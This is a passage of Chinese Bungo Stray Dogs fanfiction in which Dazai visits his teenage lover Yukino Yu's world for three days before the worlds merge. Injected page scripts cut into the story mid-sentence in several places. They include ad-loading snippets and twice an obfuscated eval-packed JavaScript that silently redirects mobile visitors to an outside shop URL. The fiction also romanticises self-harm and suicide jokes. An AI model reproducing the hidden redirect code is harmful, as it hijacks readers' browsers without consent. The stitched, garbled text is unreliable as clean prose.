“好啊人虎!”芥川龙之介怒极反笑,“你居然都有这种胆子了?” “嗨嗨!”太宰治一手一个把他们按住,“好孩子不许再吵架了哦。” 要是让夕酱知道他兴致勃勃地看着他们吵起来…… “接下来有新任务。”他挨个摸摸头顺顺毛,收获脸红的小老虎一枚,还有一个目光直接发直疑似陷入卡壳的垂耳兔。 “操纵无限城的,只能是空间异能力者。”太宰治拉长声音,“除了他,应该还有一些拖住我们的敌人,这些就拜托你们了哦。” “哈?你让我也去?”中原中也对上他的眼神,“武装侦探社虽然干得蠢事挺多……但这种程度还是能应对的吧?” “虽然信任我的伙伴们……但无限城只要一刻没有关闭,那想要破坏别人家庭的老鼠就能随时将横滨的普通人拉进来呢。”太宰治叹气,解释说:“想要解除无限城,只能将它升上地面,到那个时候,正是需要中也你【重力操作】的。” 中原·热爱横滨市民·港口mafia唯一良心·爱护花花草草·中也立刻生气了,“这该死的魔人竟然这么卑鄙!等等你说谁破坏家庭……” “费奥多尔那家伙!”说起这个太宰治的眼里都失去了笑意,脸上只剩下嘴角牵扯出的一道弧线,“居然还敢提起跟夕酱一起拉小提琴的日子……” “呃。”重力使摸了一下自己的小圆帽,拉小提琴怎么了?不是雪野的特长之一吗? 小情侣的事还是有点难懂的。 “【风暴】开始。”向三个人确定好任务,太宰治收敛起假惺惺的微笑,左手食指与中指打出一个清脆的响指—— 庞大的无限城就在此刻震颤,而后静止。 “和夕酱互换身体……当然还是做了正事的哦。” 一声轻到没人听见的自白从他唇畔溜出,很快就隐没在建筑群间。 一间间颇有年代感的房间开始炸开,先是他们眼前的,逐渐向上下左右的远方延伸,目之所及,为之一清。 中岛敦张大嘴巴,“居然……只剩下这么一点建筑了……” 在他身边的芥川龙之介冷哼一声,“如果是太宰先生,做到这种程度也是理所当然的!” 碎屑化作细小的颗粒,纷纷扬扬地落下来,其中有什么东西正在挥舞着翅膀穿过碎屑。 “栗子酱。” 圆滚滚的小鸟落在太宰治手臂上,“接下来要跟着中也他们走哦。” “知道小蛞蝓你们不知道路,所以只能让可爱的栗子酱给你们指路了啊!”太宰治像个亏了的老父亲一样控诉,“栗子酱可是我和夕酱一起养大的!” 中原中也:…… 栗子酱:…… 对面三个人的头发看上去都很好打滚的样子啾! “你够了啊!”中原中也觉得自己的拳头又有点硬,“接下来该干嘛?找到那个操纵无限城的人打飞?” 这个他很擅长。 “当然了中也。”太宰治黑沉沉的眼睛与对面三个人对视,脚下却退后一步来到房间边缘,“记得要彻彻底底……剖出他们的心脏啊。” “至于我,还有更重要的事情呢。” 更重要的事情,就是调整重心,向身后的深渊坠落。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼看着太宰治带着笑容坠楼,不管是中岛敦还是芥川龙之介都急得不行,看样子都想双双跳下去把他捞回来了。 “去做自己的事。”中原中也对他装完就跑的行为感到不爽,但他毕竟是个成熟的干部了,带两个孩子还是比较轻松的,“听着,接下来我们就放下成见,一起拯救我们热爱的城市吧。” 落在他手臂上的栗子酱“啾”一声表示赞同。 太宰治穿过黑暗,最终身体的下落变得极其缓慢,他就在黑暗中缓缓开口,“你想知道我是怎么做到的吧?费奥多尔。” 片刻,北国青年和缓的声音不知道从何处响起,“哦?太宰桑,难道事到如今,你依旧认为自己能够翻盘吗?” “当然。” “我甚至已经对你这句话感到厌倦了。” 太宰治不在意地笑笑,“将同伴们留下来控制无限城,自己却躲在暗处——” “但你更想知道我的底牌吧?” “所以即使要冒着巨大风险,也要在知道我落入无限城时亲自下场。” “呵……”费奥多尔的声音几乎听不出情绪波动,“让我猜猜,你的底牌不会就是还在无限城外的那些人吧?” “不妨再大胆一些哦。”鸢眸的青年说:“如果我说是……‘书’呢?” 一间安静而幽密的房间内,啃着指甲的魔人一愣。 “即使是一张简单的书页……也足够将眼下的局势完全改变了吧?”太宰治轻飘飘的话语传入耳中,“这可是名牌呢,就是不知道费奥多尔君,愿不愿意得到它了。” “啊……留给你思考的时间倒是还有一会儿呢。”太宰治看了眼手表,无限城是什么地方?在横滨没人比他更清楚。 代表过去的诞生无限城之地,代表现在的他们所处的世界,以及代表未来的、夕酱来自的那个世界,三者正在融合。 无限城只不过是幌子,目的是将大家的视线重心转移而已。 “但我却不想陪你等待啊。”他再次扬起手,“毕竟我来这里的主要目的,可不是给你选项做题啊。” 又是一声清脆的响指,太宰治继续下坠—— 夜幕划过他的身侧,就像是雪野夕坠入别的世界那样,太宰治也途经满天星河,穿过了世界的壁垒,来到恋人最初所在的世界。 今夜无风无云,星斗遍布。 年仅十五岁的雪野夕抬头,正好看见一颗划过天际的流星,奔赴她而来。 爱情的脚步在门前走来又走去,终于在某一刻,门铃被按响。* 太宰治落在恋人的家门前,微微整理仪容,准备去轻轻叩响那扇门。 “辉夜姬小姐,您好啊。” 雪野夕打开门,正好看到黑发鸢眸青年对自己浅笑的模样,在他的身后,是一轮弯弯的月亮。 今夜是美好的星月夜。 “我将月亮当做指路牌,今夜才得以追寻到您的踪影。”他说。 月亮是指路牌——旅人啊,由此进到你的归宿处。* 58.初次相见 眼前陌生的青年,一手撑着自家大门,一边低头看过来的样子很帅气。 但雪野夕还是感觉到了一些无语。 为什么对方这副样子看上去像是嘴里叼着个玫瑰花啊! 太宰治眨眨眼睛,试图用自己的帅气换取自己目前只有十五岁的恋人的怜悯。 然后…… 雪野夕用右脚踢了一下大门,它发出一声轻响,随后迅速向后移动—— 帅气的太宰先生,在与小了十岁的恋人对视五秒后以头抢地,成功栽进雪野夕家门口的脚垫里。 “你是谁?为什么突然出现在我家门口?” 即使是缠绕着绷带的脖颈,也能感受到身后传来的凉意。 那是一把始终放在玄关处的太刀,此时正抵在太宰治的后颈。 太宰治:“……” “哇塞!”他一个翻身侧躺在地,右手撑住脑袋,“夕酱好冷酷!好喜欢!” 雪野夕:“……” 这人谁啊?少套近乎! “咳咳——”还在摆造型的太宰治无视颈边的利刃,试图用最真诚的表情和语气介绍自己,“我来自未来哦,是夕酱未来的丈夫呢~” 被这个介绍搞得愣住的雪野夕上下左右打量了一遍正在wink的男人,沉默了。 “哎?为什么不说话啦!”太宰治像个大猫猫一样凑近,逼得她不得不将刀刃后移,“夕酱不相信吗?” “为什么……”她若有所思地问,“如果你说的是真的……” “未来的我品味真奇怪。” 黑毛男,像猫,四肢和脖颈缠着绷带,行为神经质…… 所以未来的恋人是奶牛猫拟人? “猫化速速禁止!”太宰治比了个“达咩”的手势,“不许再拿黑毛男吃代餐哦,夕酱~” “再说了这个姿势聊天真的好嘛。”他看一眼还没关上的大门,“虽然我不介意夕酱居高临下把我按在地上说……唔唔唔!” “起来,去把门关上。” 雪野夕稍稍放松刚才猛地压在他喉结上的力道,神色冷淡,“我看着你关。” “好哦。”被打已经变成日常的太宰治咳嗽两下,爽快地起身关门。 就是以目前雪野夕一米六的身高,要把刀架在他脖子上有些困难,因此为了照顾到恋人挟持他的情景,太宰治还特意弯下腰。 雪野夕:“……” 啧。 为什么自己更加不爽了呢? “我说的是真的啦。”关上门后迅速改换可怜巴巴眼神的太宰治解释,“比如——” “夕酱爱吃浆果,不可以酸也不可以甜,最好是偏甜一点的酸味。” “夕酱喜欢奶油冰激凌,里面最好只有巧克力没有水果。” “夕酱喜欢晒太阳,所以家里的阳台全部换成了落地窗,后来还加了躺椅哦。” “夕酱写字的时候,尖锐的字形会写得稍稍圆润,但圆润的字形又会突出折角。” “而且喜欢在每行最后加上一个点。” “哦?”雪野夕并没有放下刀,“我的设定,你居然知道的这么清楚吗?” 刚刚还在喋喋不休的太宰治愣住了。 他甚至在下一刻下意识地向前一步,主动将脖颈撞向刀刃,直至柔软的绷带被切开,冰冷的感觉涌进皮肤。 看向被染红的刀锋,雪野夕下意识地移开太刀,没让它真的切入太宰治的动脉。 “看。”这次是鸢眸青年居高临下地对她微笑,“即使是恶毒女配的设定,不也一样会为别人的伤痕感到愧疚吗?” 她一言不发地收刀回鞘,退后一步一抬下巴,“进来。” “好的我来了。”刚刚疑似说出什么感人宣言的太宰治秒变没型,唧唧喳喳地凑上去,“刚刚真的超痛的!夕酱我是不是很勇敢?哎呀要你吹吹才行!” “我是担心待会儿不方便处理尸体才放过你的。” “虽然夕酱在未来确实答应过要跟我殉情……”太宰治侧着身子弯腰跟在她身边,就好像是这样做能从恋人面无表情的脸上看出些别的东西,“可是夕酱不是可以在我死掉后用空间异能力把我处理掉吗?” “可以不要把我切碎冲进下水道嘛~” “雪野……嗯,妹妹?” “你居然连这个也知道?”雪野夕皱眉跟他拉开距离,“怎么?我们这部漫画未来要改编成热血少年漫吗?” “还有,我不可能答应跟别人殉情。” “哎?”太宰治像个牛皮糖一样黏上去,在她身边打转,“明明都说出‘最终会一起燃烧’这种话了,难道都不算殉情邀请吗?” “……” “未来的我品味真差。” “不可以啊!即使是过去的夕酱也不可以否认你自己完美的审美啊!” “那作者终于舍得填坑了?”将太刀收好,雪野夕问他,“居然能画到恶毒女配谈恋爱……” “我们是正当的婚姻关系啊夕酱!” “那就改成画到恶毒女配结婚……这种人设还能洗白吗?你不会也是什么反派分子吧?” 太宰·前港口mafia干部·被横滨洗衣机坂口安吾足足洗了两年的男人·治目移:“怎么会呢亲爱的,我目前的职业是一名光伟正会随时拯救世界的侦探啦!” “那就是以前干过不少伤天害理的事。”雪野夕面无表情地补上下一句,“难道我毕业后也加入了什么邪恶组织?” 雪野·当过鬼·未来的港口mafia干部·夕:“阿嚏!” “这个吗哈哈。”太宰治楚楚可怜地看着她,“我一般不会对夕酱说谎的。” 他只会选择性闭口不言。 有时候还会通过颠倒语序,模糊语义来让恋人曲解自己的意思。 绝对没有坏心思的! 奶牛猫能有什么坏心思呢?喵。 “从校园恋爱甜饼改成毁灭世界大反派……”她若有所思地点点头,“挺有意思的展开,应该会比现在有趣。” “那个……其实作者弃坑啦!”太宰治悄咪咪“剧透”,“不过夕酱有没有考虑到跳槽的可能呢?” “跳槽? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如果始终无法终结循环,听起来倒像是我会做出的选择。” “对呀对呀!”奶牛猫试图煽风点火,“来我们热血少年频道吧!不但有我这种帅气的丈夫,还有很多新奇的东西可以体验哦。” “比如?” “嗯……比如想体验动作片就体验动作片,想回归恋爱日常就可以回归恋爱日常?” “但……我凭什么相信你的世界会一直运转下去呢?” 脸上伪装出的笑意消失不见,雪野夕把刀往这边一放,长刀的刀鞘磕在地上,发出一声脆响。 “虽然这个理论很复杂……”看着已经在沙发上坐下的恋人,太宰治在心中默默感叹老婆小时候好帅气,“但一个‘故事’,只要【世界观】够完整,基础内核说得过去,角色也可以诞生属于自己的灵魂哦。” “夕酱的世界还未觉醒……但在未来,你也能见到自己的好友。” 太宰治单膝下跪,伸出右手,“我向夕酱保证,所以要不要拉勾?” “你是小孩子吗?”雪野夕用自己真十五岁、还带着些稚嫩的脸鄙视他,但最后还是看在太宰治亮闪闪看着自己的份上把手伸了过去。 “都说人家来自未来哦,确实要叫夕酱姐姐呢。” “那就约定了哦。”他的拇指按上她的,“如果我做不到的话……” 太宰治拉住她的手,落在自己刚刚被绷带止住流血的脖颈上,那道不算深的伤口再次被扯开,他的表情既痛苦,又带着某种意义上的欢愉与狂热,“被恋人亲手杀掉……啊,这算不算是对我的嘉奖呢?” “以我,太宰治的名字起誓。” 雪野夕猛地抽回手,“你说你叫什么名字?” “太宰。”痛苦一轻,对方反而露出一点遗憾的神色,但在触及她手上沾染自己的鲜血后,那点不满也勉强消失,“太宰治哦。” “哦?”雪野夕扯过被她随手丢在沙发上的日记本,“那你要不要和这位费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基先生交流一下?” 太宰治:“……” 他尽量咽下喉咙中即将喷涌而出的刻薄语句,毕竟恋人似乎很喜欢真正世界中这位作家? 但他很难在听到这个名字的时候给出什么优雅的反应啊! 尤其是在对方疑似和自己的妻子交流过小提琴技艺的情况下。 总而言之,费奥多尔这种人,别想毁了这个家!就算是加入也不可以! 对了他也是黑发吧…… “我发誓这是真名……所以我们换个话题好不好?”他“柔弱”地倒在恋人身侧的沙发一角,脸颊和发丝能触及到恋人裙角的地方,“重名啦重名,夕酱未来会知道的。” “而且跨越世界并不是那么轻松的。”忍住想把脑袋靠过去蹭蹭的愿望,他呼吸到她身上稍微带点冷意的柑橘香气,“所以我只能停留在这里三天哦。” “所以……这算什么?” 看着身边似乎已经彻底猫化的“未来丈夫”,雪野夕却只能勉强扯开嘴角—— “假如给我三天光明吗?” 59.蘸栗子酱 太宰治这个人,真是很猫猫啊。 尤其是进入家门后他那像是回到自己熟悉领地的姿态,就差把桌面上的花瓶推下去了。 “为什么这么看着人家啦夕酱!”鸢眸青年故作娇羞,“放心吧,你未来和现在不一样的。” “未来的我会怎么做?” “这个嘛~”太宰治已经脱掉了长款风衣,露出自己修身的衬衫和马甲,“会在看到我这样穿的时候把手从我衬衫下摆伸进去?” 雪野夕大惊失色:“你要不要听听你在说什么啊!” “哎?领口也完全接受哦。” “……闭嘴!” “但夕酱脸红了哦~” “我这是、生气!” 每天达成一次犯贱小成就的太宰治心满意足,老老实实坐回沙发上,“夕酱也感受到了吧?” “只要靠近我,你的能力就会失去效果。” “你不会要告诉我,这个能力的名字叫做【人间失格】吧?”雪野夕托腮,“听上去像骗子。” 太宰治:“……” “这个不重要。”他刻意哽咽嗓音,“关键是我在这里停留的三天,夕酱可以摆脱所谓的‘剧情’自由活动哦~” “如果是真的……算你有点用。” “什么嘛!我很有用的!” “比如说?” “嗯……帮夕酱洗衣做饭暖……哎哎,我不说了嘛!” 正好时间来到晚上七点半,于是太宰治自告奋勇来到厨房,表示自己可以大展身手做顿饭给雪野夕尝尝。 雪野夕同意了。 一来她觉得自己能复活,而来她是真的饿了。 很快她就知道自己还是饿得太早了。 因为太宰治端上来一碗……看上去卖相相当不错的乳白色鸡汤,闻起来似乎也没什么异常。 如果是未来的雪野夕,她一定会微笑着婉拒。 但十五岁的头铁雪野夕端起来喝了一口—— “为什么!你说为什么作者要弃坑!” 她把眼泪全抹在太宰治的衬衫上,“你说作者是不是宇宙第一超级无敌大坏蛋!” 雪野夕哭一声喝一口鸡汤,哭一声喝一口鸡汤,到了后来太宰治都开始劝她不要再喝了。 “不!你不懂!”她将碗底的汤一饮而尽,“喝下去之后……” “我好像看到我们家的房顶被偷走了……哎你怎么长出猫耳朵了啊?” “让我摸摸!” 同样喝完一碗汤的太宰治老老实实把头伸过去,摸摸头什么的,他已经彻底免疫,就算是现场喵喵几声都毫无压力的。 雪野夕一把抱住他的脑袋,用一种刻意压低的嗓音感叹,“你知道吗?” “什么?” “其实……回顾我的人生,除了耻辱,一无所有!”* 她开始严肃且颠三倒四地背诵些什么—— “……然而,许多女性却凭借自己的本能……我无法启齿的孤独……我被女人们趁虚而入……” “所以我真是个能守住恋爱秘密的男人啊!”* “我太理解你了其实!”雪野夕两眼放光,“我惧怕死亡的结局,厌倦重复的命运,但在这个世界上,我随波逐流,找不到自己存在的意义。” “如果我只是一个被创作出来的物品,那么还需要每日努力地活着吗?” 正在眼冒金星的太宰治听到了熟悉的发言,随后手忙脚乱地找手机,“我要……录下这一段……” 因为在未来,他们斗嘴的时候,雪野夕总会在她说不过太宰治的时候气急败坏地引用他十五岁时的名人名言——“某些人小时候还觉得森先生有当王的潜质呢!” “有当~王~的~潜~质~” 现在只要他录下这段话……以后就可以反驳夕酱,“我~随~波~逐~流~” 说完一定会被夕酱挂在院子外面示众吧! 即使如此!他也一定要说一次看看! . 两个喝了奇妙的活力清炖鸡鸡汤后头昏脑胀的人,第二天一个在沙发一个在地毯上双双醒来。 “你下毒了?”感觉自己落枕的雪野夕痛苦地捂住脖子,好像胳膊也麻了,但今天好像真没走剧情…… “是因为昨天看到夕酱没开封的洗涤剂,忍不住现场发挥了下嘛。”太宰治从地上爬起来,“但从味道上来说……” 两人面面相觑,一个也没记住昨晚的鸡汤到底是什么味道。 “算了,还是吃点现成的吧。”雪野夕从桌子上摸起一个橘子剥开,“分你一半?” 她掰了一瓣放进嘴里,“还挺甜。” 太宰治接过她递过来的下一瓣,“确实很甜。” “是啊,你还要吗?” “那就再来一瓣吧~” 太宰治面不改色地连吃三瓣橘子,盯着他的雪野夕终于忍不住往自己嘴里又塞了一口,下一秒,两人双双痛苦面具。 “好酸!” “好酸!” “你居然演戏骗我!”雪野夕恶人先告状,“明明就很酸嘛!” “是夕酱先骗人的啊!”太宰治鼓着嘴化解舌头上的酸味,“甜的橘子夕酱还会递给我嘛!” 于是在经历了食物中毒、空腹吃酸橘子吵架、各自灌下一大杯温水后,奄奄一息的两人终于能瘫在一起握手言和。 “虽然剧情的控制暂停,但外面的世界也会进入静止状态,所以我们甚至都不能点外卖……” 抱着抱枕的太宰治就差表演一个声泪俱下,“夕酱,你真的忍心看到你如此帅气的未来的丈夫就这么被饿死吗?” 雪野夕:“……” 有病吧!未来的我。 如果只是看脸的话我不会原谅你的! 但是在没有获得太宰治灵光一闪创新菜式的抵抗性上,她对自己很没信心。 只能一脸生气地爬起来做饭。 看着雪野夕一脸“你等着”的表情走进厨房,直到看不见她的身影,太宰治才若有所思地拿起昨天被丢进沙发底下的笔记本。 费奥多尔……哼。 “夕酱,喜欢小提琴吗?” 吃完饭后,老老实实洗碗的太宰治没头没尾地问出一句。 “还好?毕竟我的设定就是会各种乐器。” “可夕酱不是设定中的人呀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938086|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他直视着她,“夕酱是独一无二的。” “虽然我无法透露未来,但雪野夕曾经告诉过我哦。” “生命本质上是没有意义的,如果一定要去寻求意义,那也是只关乎于自己。” “所以雪野夕不是设定好的、不是只属于一个故事的‘恶毒女配’、更不应该是永远被困在循环里的人。” 跳出剧情的循环,在这个被暂停的世界里,来自未来的恋人告诉她—— “雪野夕只属于她自己。” 她手心端着的杯子一阵摇晃,下一秒却被他坚定地握住,并在其中添上温度合适的清水,“这次不要噎到了哦。” “或者明早可以面包片蘸栗子酱吃?” “……等明早我就往你的面包上抹致死量的栗子酱。” “噎死我吗?这好像还是我十五岁的时候灵光一闪才有的天才自杀想法呢。” “真不愧是夕酱,和我心有灵犀。”太宰治鼓掌,“所以夕酱其实不喜欢小提琴的对吧?” “重点其实是这个吗?” “人家也是在进行家庭保卫战啦!” “那就略过小提琴的话题吧。”她很浅地笑了下,“我教你弹钢琴怎么样?” 客厅里放的那架钢琴看上去已经有些年头,演奏的痕迹在它身上尤为明显。 “据说是家传的。” “我也很荣幸参与夕酱的生活。”太宰治也弯起眼睛,“未来的夕酱曾经教过我哦。” “所以请允许我和你合奏吧?” 他好像对家里的布置很熟悉,所以穿越的时候莫非能带着房子一起穿越? “穿过世界壁垒是非常困难的,所以等到以后,夕酱说不定并不会记得现在的一切。” 所以这三天的时光,他会好好记住。 并不会记得吗?雪野夕按下琴键,食指在雪白的钢琴上轻轻划动两下……也许自己可以写下来? 一时间,谁也没有再说话。 雪野夕曾经强迫自己去讨厌喜欢的一切,因为那时她认为这些东西不过是人为设定,本质上是想让她在痛苦的循环中沉溺于虚幻轻松的海妖歌声。 而她真正想做的事,却无法被实现。 眼下却是难得一见的平和时光。 不约而同被选择的《命运交响曲》落幕,风从阳台上吹进来,米白纱帘飞扬,风铃轻响,未装订的谱子飞起,在空中发出细微的“哗啦”声。 像是把屋内的沉郁也卷起来,最后润物细无声地落在地下。 不停转动的钟表时针与分针指向上午十点整,而她已经很久没有将目光投向过它了。 太宰治逆光坐在她外侧,发尾的绿色丝带落在阳光里,撑着头问她,“今天真是难得的好天气,不是吗?” 钟表上的指针还在动,这次她看清了秒针,它不疾不徐地按照时间走过一圈,最后是分针悄无声息地前进一格。 是啊,今天怎么不算是个好天气呢。 对于一个深陷循环中的人,钟表没有意义。 但现在有什么东西悄悄改变了。 也许是因为,遇见你之后,我的时钟才真正意义上开始转动。 60.轮回流转 时间行进至穿越世界的第三天下午,窗外淅淅沥沥下起小雨。 雪野夕刻意回避了家里还有第二个人的事实。 她自己坐在沙发上,扭头望向落地窗外的细雨,还有玻璃上浮起的浅淡雾气。 下雨的时候,房屋就变成了孤岛。 夕阳早就被灰蒙蒙的云彩吞没,天变得阴沉沉,大概在某个时刻,也许是零点过后,仙女教母的魔法就会失效,辛德瑞拉变回原来的模样,而她也将回归独自一人清醒的生活。 太宰治合上手上的诗集,有点无奈地注视着目前比自己小七岁的恋人。 她好像自闭了。 往日里似乎都是夕酱更包容自己一点,非常我行我素的妻子……还是第一次看见。 太宰治将书放在钢琴上,起身走到门边穿好外套。 中途雪野夕也许扭头看了他一样,但很快又故作不在意地继续去看窗外的雨。 绷紧的嘴角和抓住衣服的手显示她并没有展现出来的那么平静。 “要不要去海边走一走,夕酱?” 太宰治在门边微笑着,“你从刚才开始就一直不理我……看不到夕阳的话,不如去看看夜晚的海,怎么样?” “……”终于把头扭过来的雪野夕沉默一下,才听见自己仿佛游魂一样的声音,“……你打算怎么去?” “离这里最近的海岸线有一个小时的车程……”黑发青年故作苦恼地看下手表,随后眉眼舒展,“但这足够使公主在南瓜马车变回原样之前回到城堡哦。” “来嘛来嘛。”他走过来隔着衣服握住她的手腕,“大胆地去做,这可是未来夕酱的人生信条啊!” 雪野夕裸露出的指尖,搭在他缠着绷带的手臂上,恰好能感知到一点点来自于他的微弱心跳。 眼前的人是真实的,会流出鲜红血液,也会用温柔的话语和鸢色的眼睛骗取信任。 可她还是被这微不足道的力气拉扯,跟随他站起来,一步一步走向门边。 像是正在走出这个笼子,这座孤岛。 打开门,一股凉意扑面而来。 太宰治撑开准备好的伞,自己率先走出大门。 接着他转身,即使在台阶之下,也只比她矮了一点。头顶上,黑夜的裙摆正不断笼罩天空,细如针尖的雨丝像是上面的花纹,正散发一闪一闪的银辉。 太宰治冲她俏皮地歪歪头,同样是弯弯的眼睛,正如雨中优雅越过水洼的黑猫。 ……也许是狐狸精也说不定。 他微微躬身,将伞朝她倾斜过来,发丝与衣角很快沾上雨的痕迹。 就在倾斜的那一刻,街灯亮起,橘黄的辉光闪烁,雨丝被风吹得更加急促,眼前似乎也炸开星火。 “……猫被雨淋湿的话,还能轻巧地跳过路面上的水洼吗?”雪野夕小声嘀咕。 “会哦。”站在风吹来那侧的太宰治晃晃手中的车钥匙,“因为现代猫咪会正确地使用工具。” “哎?哪来的车钥匙?” “来的时候正好看到路上有一辆红色卡车哦。” “这种东西……应该出现在少女漫里吗?” “夕酱,这个时候都在吐槽嘛~” “那我还有最后一个问题。” “嗯?” “你会开卡车吗?” “……嗯。” “你没犹豫,对吧?” “嗯……” 坐在卡车驾驶室内的第一时间,雪野夕系好了安全带,检查了后视镜方向,又仔细看了街道路况。 “夕酱居然这么不信任我!”正在活动双手的太宰治表示委屈。 “吃过你做的饭之后,我突然对求生有了很大的兴趣。”她言辞犀利地点评,“可以读档,但因为‘食物中毒’和‘车祸’这种折磨,还是算了吧。” “不愧是夕酱!我也不想尝试这种自杀方式呢!但后面我明明有好好发挥啊……做出来的菜不是不错嘛。” “因为怀疑一旦产生,你做的菜就已经有罪了啊!” “那夕酱后面还不是吃了嘛……”太宰治嘀咕,恋人的脾气他太了解了,热爱尝试新事物,就算他第二次做菜真的还放了墨水之类的,她可能也会尝尝味道。 除了织田作的辣咖喱。 还有自己第一次在织田作家做出的料理……那次和这次的配方似乎是一样的? 海边的沙滩前围着一扇铁门,但这对太宰治来说不是问题。 “侦探还需要会开锁技能吗?”解锁新地图的雪野夕语气雀跃,讽刺之语的尾音都是上扬的。 “真伤心……但是夕酱很可爱啦。”太宰治若无其事地将锁头放在一边,“风有点大,夕酱要不要我的外套?” “不要!”已经冲进沙滩的雪野夕用脚踢踢湿漉漉的沙子,“平平无奇的外套什么的……才不符合我的审美呢。” “可是我听说,傲娇已经退环境了耶。” “看招!” “哇!好凉,我可不会束手就擒的。” 还没等走到海岸线观赏海浪,两个偷摸跑来沙滩的人已经互相往对方领口里塞了一把湿沙子。 等到真正走进这片海,原本斗嘴的两个人已经停下打闹,并肩一起看了一会儿雨针扎入海洋,又随着海浪一齐冲刷上岸的景象。 雨声与浪潮,共同回响在耳边。 “我与夕酱的故事,似乎总是在雨雪天气展开。” 在雨中一起跳河,莫名其妙被水流卷到一起;心思纷乱时喝掉紫藤花毒,醒来却被大雪包围。 直到雪后春来,她送给了自己一枝花期最早的绣球花。 回溯时间,他们此时在初秋的雨中,一起望着一片海。 未来的横滨,有许多的夜晚,彼此也会一起窝在沙发上,听着落地窗外的浪潮声。 这样的日子…… 因为是心甘情愿地沉溺,即使死亡也无需被拯救吧。* “太宰先生,看到海浪的时候会想到什么呢?” “如果是从前的话……会觉得沉在这样温柔大海的海底也不错吧。” “那么现在呢?现在又该去想什么……未来,又应该去做什么呢……” 太宰治忍不住笑着摸摸雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948997|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野夕的头,得到对方有点恼怒的眼神。 “嘛~我不是故意的,但如果是很久以后想这样做,夕酱绝对会告诉我‘你敢’之类的嘛。” “每次看到永不停歇的浪潮,我都忍不住长久地注视一会儿……好像这样,就能把永恒的一部分刻进脑海。” “但世界上没有什么是永恒的。”雪野夕暂时容忍他摸头的行为,“时间会流逝,山川河流会改变,就连宇宙寿命也终有一天会走到尽头……” 更别说一部已经被放弃的漫画。 “夕酱还没有放弃不是吗?即使漫画结束了,夕酱的人生也远远没有结束。” “你曾经告诉过我——”地平线的最后一点光亮隐没,伞下被雨幕围拢,在这个死气沉沉的世界里,只有这一方小小的圆里,有什么正在破土发芽。 “太宰治有去爱这个世界的能力。” 那天也是暴雨之夜。 “所以啊。” “雪野夕有去面对这个世界的勇气。” 雨丝停滞,翻涌的波浪上溅开银花;世界颠倒,深黑的夜幕与蓝白海浪模糊;雨伞倾斜,湿漉漉的感觉从脸颊灌进领子。 再次睁眼时,她正坐在自家客厅的沙发上。 窗外透过昏黄的灯光,今夜并没有什么雨滴落下。 更不会有俊秀的青年敲门。 不远处的钢琴上却还堆叠着他随手翻过的诗集,在深色的硬皮封面上,却多了一只纸折的、圆滚滚的小鸟。 ……明天将会是新的一天。 . “太宰先生!太宰先生!” 耳边传来熟悉的呼唤声,街灯下,一白一黑两个人影正在使劲摇晃疑似晕倒在路灯下的太宰治。 不远处还站着满脸不爽的国木田独步。 “……还没来得及看清夕酱听到我的话后感动的表情呢。”从思绪中挣脱的青年站起身,一手一个挨个摸摸头。 这个动作是跟恋人学的,她说做人是不能偏心的。 应该是对除他之外的人不偏心才对吧? “太宰先生,我们暂时离开无限城了。”中岛敦不好意思地摸摸后脑勺,其实是港口mafia的中也先生,用异能力一路打到地面…… “接下来应该怎么办?” 芥川龙之介没说话,但身子站得比猎犬还直,完全是一副太宰治让他切腹自尽都会立马答应的模样。 被深深信任的太宰治:“这个你们去问乱步先生哦。” 说完他就被国木田独步一个爆栗,侦探社妈妈盯着芥川龙之介的威胁怒目而视,“你这家伙,连这种时候都要偷懒吗?” “可是我也很紧急啊。”太宰治忧愁地叹气,“本来答应夕酱要在今夜来临之前到家的……” 他指指手表,“但现在都十一点五十分了,我迟到了,国木田这种单身人士根本不懂,男人如果不让妻子满意可是会被赶出家门的啊!” “如果我流落街头,那就没有心思去对付魔人……” 现在到底要用什么理由,才能让夕酱非常感动,一进门就抱住他喊“亲爱的”呢? 61.世界融合 太宰治打开家门时,室内一片漆黑。 里面的布置和白天离开时一模一样,只有不远处的钢琴上被摆放了一本熟悉的诗集,上面还端端正正地压着一只千纸鹤。 是雪野夕折的。 沿着折痕仔细拆开,才能看到上面熟悉的字迹—— “世界融合了,所以我收到了妈妈爸爸和真理子的电话。 这样,我们可以玩个cosplay嘛,亲爱的你先cos一下我在港口mafia加班,我去找他们play两天。 爱你的 雪野夕。” 太宰治:? 哎?为什么夕酱又自己出去玩不带自己啊! 满脸不开心的太宰治打电话给国木田独步,对方因为在加班所以还没有睡着。 “你这家伙又干什么?要是想炫耀你就死定了!”侦探社妈妈的嗓音气愤地从听筒对面传过来。 “不,国木田君。”太宰治语气低沉,“这都怪……可恶的魔人!” “我已经知道他的藏身之地了!早上!到早上我们就去把老鼠拎出来!” 国木田独步:“?” 他怎么了?是自己熬夜工作出现了幻觉还是太宰治这混蛋又被雪野小姐附体了? “雪野小姐?”他试探着问了一句。 随后耳边被太宰治夸张地抱怨充斥,“夕酱居然自己出去玩不带我!” “我要打电话给织田作和安吾!” “不、织田先生每天带孩子就已经够累了啊!” 